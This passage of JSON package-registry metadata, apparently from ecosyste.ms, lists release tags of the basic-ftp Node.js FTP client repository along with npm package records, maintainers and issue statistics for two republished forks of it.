gz/v2.8.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.2/manifests"},{"name":"v2.8.1","sha":"f3f80976c21623e50f51cab48a2fc1b766f8bc37","kind":"tag","published_at":"2018-02-08T17:57:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.1/manifests"},{"name":"v2.8.0","sha":"bc93080f0223067665021001f94bc19619be8968","kind":"tag","published_at":"2018-02-03T06:52:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.0/manifests"},{"name":"v2.7.1","sha":"27e90d8b50271c229ac59d914c16b9bd13d8712d","kind":"tag","published_at":"2018-01-31T13:02:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.7.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.1/manifests"},{"name":"v2.7.0","sha":"251191cc2c2d8b0aa208777e1c32dc42a8904383","kind":"tag","published_at":"2018-01-31T12:56:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.7.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.0/manifests"},{"name":"v2.6.2","sha":"838de7f0688634bcf4aff67ab7c869b24ce00f02","kind":"tag","published_at":"2018-01-30T21:11:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.2/manifests"},{"name":"v2.6.1","sha":"624ce1caec7c273190e63150ec5063a6df6c756d","kind":"tag","published_at":"2018-01-29T16:18:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.1/manifests"},{"name":"v2.6.0","sha":"345cae67fd86fb42c935886cbc696eb503a2d831","kind":"tag","published_at":"2018-01-29T11:25:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.0/manifests"},{"name":"v2.5.2","sha":"0e78c6ab45a29c0a89f259cd0de24d3f2788ea2f","kind":"tag","published_at":"2018-01-24T18:09:33.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.2/manifests"},{"name":"v2.5.1","sha":"37a4d6ab1a018c929f0ac7a85b1367e7e20ef3d0","kind":"tag","published_at":"2018-01-24T10:06:52.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.1/manifests"},{"name":"v2.5.0","sha":"ccfa95fe4c8b2a816f3ea3a704ed56c6f90cce6c","kind":"tag","published_at":"2018-01-24T10:04:25.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.0/manifests"},{"name":"v2.4.2","sha":"1fb6d04bc34a85be555ec55d1ba6c31fa45d1051","kind":"commit","published_at":"2018-01-20T12:39:13.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.2/manifests"},{"name":"v2.4.1","sha":"6322a864584c95b62687b23cd37e57905663ca6c","kind":"commit","published_at":"2018-01-20T11:47:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.1/manifests"},{"name":"v2.4.0","sha":"306418be304fdeac9cf9b0ec52fef67458da793f","kind":"tag","published_at":"2018-01-15T21:32:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.0/manifests"},{"name":"v2.3.3","sha":"070324be160af7f7e1408823eaa61c95b34fef0a","kind":"tag","published_at":"2018-01-14T17:55:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.3/manifests"},{"name":"v2.3.2","sha":"f378b1b47dca0dd6aad8b98fa059994c74899039","kind":"tag","published_at":"2018-01-14T15:45:41.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.2/manifests"},{"name":"v2.3.1","sha":"f31e1b396304968faca207b259399663e54a2134","kind":"tag","published_at":"2018-01-14T08:49:26.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.1/manifests"},{"name":"v2.3.0","sha":"0b94f445c32fab5741621e5f25be0b4e2d0c3852","kind":"tag","published_at":"2018-01-13T21:04:02.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.0/manifests"},{"name":"v2.2.1","sha":"bcbe53c1c4bfe7a0bdddb053bd236853f1f27dbe","kind":"tag","published_at":"2018-01-13T20:38:27.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"3d7a0690205e78c7792724f013ef3910e0ef77aa","kind":"tag","published_at":"2018-01-13T17:30:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.0/manifests"},{"name":"v2.1.0","sha":"c4a3c00eec9753fb4fa684967fda7c76c43e1f7d","kind":"tag","published_at":"2018-01-12T19:14:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.1.0/manifests"},{"name":"v2.0.0","sha":"0392e12a52d3ab2cacca643b582b1f2b898b0836","kind":"tag","published_at":"2018-01-10T12:37:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.0.0/manifests"},{"name":"v1.2.0","sha":"e55c94c461a5ab0c0740221458222e8773faa908","kind":"tag","published_at":"2018-01-07T08:22:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.2.0/manifests"},{"name":"v1.1.1","sha":"a354d92fc576e4e98c61fa319e3f879b3991b0ae","kind":"tag","published_at":"2018-01-06T18:03:14.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.1.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"3d663e02aaf7169eb6fe07dd7250ef0dfd9d6280","kind":"tag","published_at":"2018-01-06T17:07:58.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.0/manifests"},{"name":"v1.0.9","sha":"2d35713910994baaabcf78dcc805cd8996dd3bbd","kind":"tag","published_at":"2018-01-04T21:00:28.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.9","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.9/manifests"},{"name":"v1.0.8","sha":"e3ff76ad996a48291e96212c301554a8a72cf190","kind":"tag","published_at":"2018-01-04T17:03:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.8","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.8/manifests"},{"name":"v1.0.7","sha":"cdbca2c538820c15fdadac8be6aea8931fd891ea","kind":"tag","published_at":"2018-01-04T06:34:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.7","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.7/manifests"},{"name":"1.0.6","sha":"fad9e33b2fb8b6e8adf241136449acb71b09a724","kind":"tag","published_at":"2018-01-03T11:50:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/1.0.6","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/1.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@1.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/1.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/1.0.6/manifests"},{"name":"v1.0.5","sha":"4789d0bbb9c69495ae575a5b2b01ddaf0c1cd80a","kind":"tag","published_at":"2018-01-02T14:36:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.5/manifests"},{"name":"v1.0.4","sha":"749d64f17b5afcbcec024c980c23709165a24d03","kind":"tag","published_at":"2017-12-31T17:18:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.4/manifests"},{"name":"v1.0.3","sha":"964b3ece50267c599c3169b0f9c57f8796149b57","kind":"tag","published_at":"2017-12-31T17:18:24.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"ab8d752c781aedfee1b681bb8344a2789c265bf2","kind":"tag","published_at":"2017-12-30T23:15:51.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.2/manifests"}]},"repo_metadata_updated_at":"2026-08-23T21:05:07.304Z","dependent_packages_count":1,"downloads":568,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":10.577538938047622,"dependent_repos_count":25.32799796580169,"dependent_packages_count":16.223928578504864,"stargazers_count":3.580240447722848,"forks_count":4.075300658231189,"average":11.957001317661643},"purl":"pkg:npm/implicit-basic-ftp","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/implicit-basic-ftp","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/implicit-basic-ftp","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/implicit-basic-ftp/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-23T11:32:28.548Z","issues_count":125,"pull_requests_count":35,"avg_time_to_close_issue":10598646.875,"avg_time_to_close_pull_request":13587561.0,"issues_closed_count":112,"pull_requests_closed_count":30,"pull_request_authors_count":18,"issue_authors_count":108,"avg_comments_per_issue":2.872,"avg_comments_per_pull_request":1.5142857142857142,"merged_pull_requests_count":11,"bot_issues_count":0,"bot_pull_requests_count":13,"past_year_issues_count":4,"past_year_pull_requests_count":11,"past_year_avg_time_to_close_issue":654818.0,"past_year_avg_time_to_close_pull_request":1455858.4545454546,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":11,"past_year_pull_request_authors_count":2,"past_year_issue_authors_count":4,"past_year_avg_comments_per_issue":0.5,"past_year_avg_comments_per_pull_request":1.2727272727272727,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":9,"past_year_merged_pull_requests_count":2,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/issues","maintainers":[{"login":"patrickjuchli","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickjuchli"}],"active_maintainers":[{"login":"patrickjuchli","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickjuchli"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/implicit-basic-ftp/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/implicit-basic-ftp/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/implicit-basic-ftp/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/implicit-basic-ftp/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/implicit-basic-ftp/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/implicit-basic-ftp/codemeta","maintainers":[{"uuid":"benny-medflyt","login":"benny-medflyt","name":null,"email":"benny@medflyt.com","url":null,"packages_count":15,"html_url":"https://www.npmjs.com/~benny-medflyt","role":null,"created_at":"2022-11-12T19:38:55.411Z","updated_at":"2022-11-12T19:38:55.411Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/benny-medflyt/packages"},{"uuid":"nirber1","login":"nirber1","name":null,"email":"nir@medflyt.com","url":null,"packages_count":15,"html_url":"https://www.npmjs.com/~nirber1","role":null,"created_at":"2022-11-12T19:38:55.419Z","updated_at":"2022-11-12T19:38:55.419Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/nirber1/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5777787,"maintainers_count":1236486,"namespaces_count":421466,"keywords_count":881826,"github":"npm","metadata":{"funded_packages_count":189888,"rate_limit":2},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-08-24T05:03:24.460Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":1627604,"name":"doodlemoonch-ftp","ecosystem":"npm","description":"FTP client for Node.js, supports explicit FTPS over TLS, IPv6, Async/Await, and Typescript.","homepage":"https://github.com/patrickjuchli/basic-ftp#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/patrickjuchli/basic-ftp","keywords_array":["ftp","ftps","promise","async","await","tls","ipv6","typescript"],"namespace":null,"versions_count":1,"first_release_published_at":"2020-03-24T14:25:03.897Z","latest_release_published_at":"2020-03-24T14:25:03.897Z","latest_release_number":"4.5.2","last_synced_at":"2026-08-23T12:07:32.518Z","created_at":"2022-04-09T12:26:45.960Z","updated_at":"2026-08-23T12:07:32.518Z","registry_url":"https://www.npmjs.com/package/doodlemoonch-ftp","install_command":"npm install doodlemoonch-ftp","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"4.5.2"},"contentPolicy":null},"repo_metadata":{"id":41537176,"uuid":"115804484","full_name":"patrickjuchli/basic-ftp","owner":"patrickjuchli","description":"FTP client for Node.js, supports FTPS over TLS, passive mode over IPv6, async/await, and Typescript.","archived":false,"fork":false,"pushed_at":"2026-08-11T17:49:17.000Z","size":1348,"stargazers_count":734,"open_issues_count":11,"forks_count":101,"subscribers_count":8,"default_branch":"master","last_synced_at":"2026-08-20T08:24:54.025Z","etag":null,"topics":["async-await","ftp","ftps","ipv6","nodejs","promise","tls","typescript"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/patrickjuchli.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":"NOTICE.txt","maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2017-12-30T15:11:28.000Z","updated_at":"2026-08-16T22:03:13.000Z","dependencies_parsed_at":"2026-08-06T02:35:37.973Z","dependency_job_id":null,"html_url":"https://github.com/patrickjuchli/basic-ftp","commit_stats":{"total_commits":851,"total_committers":17,"mean_commits":50.05882352941177,"dds":"0.025851938895417148","last_synced_commit":"6deecaf9f3aa0312c92ee96389c405b79311e862"},"previous_names":[],"tags_count":117,"template":false,"template_full_name":null,"purl":"pkg:github/patrickjuchli/basic-ftp","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hos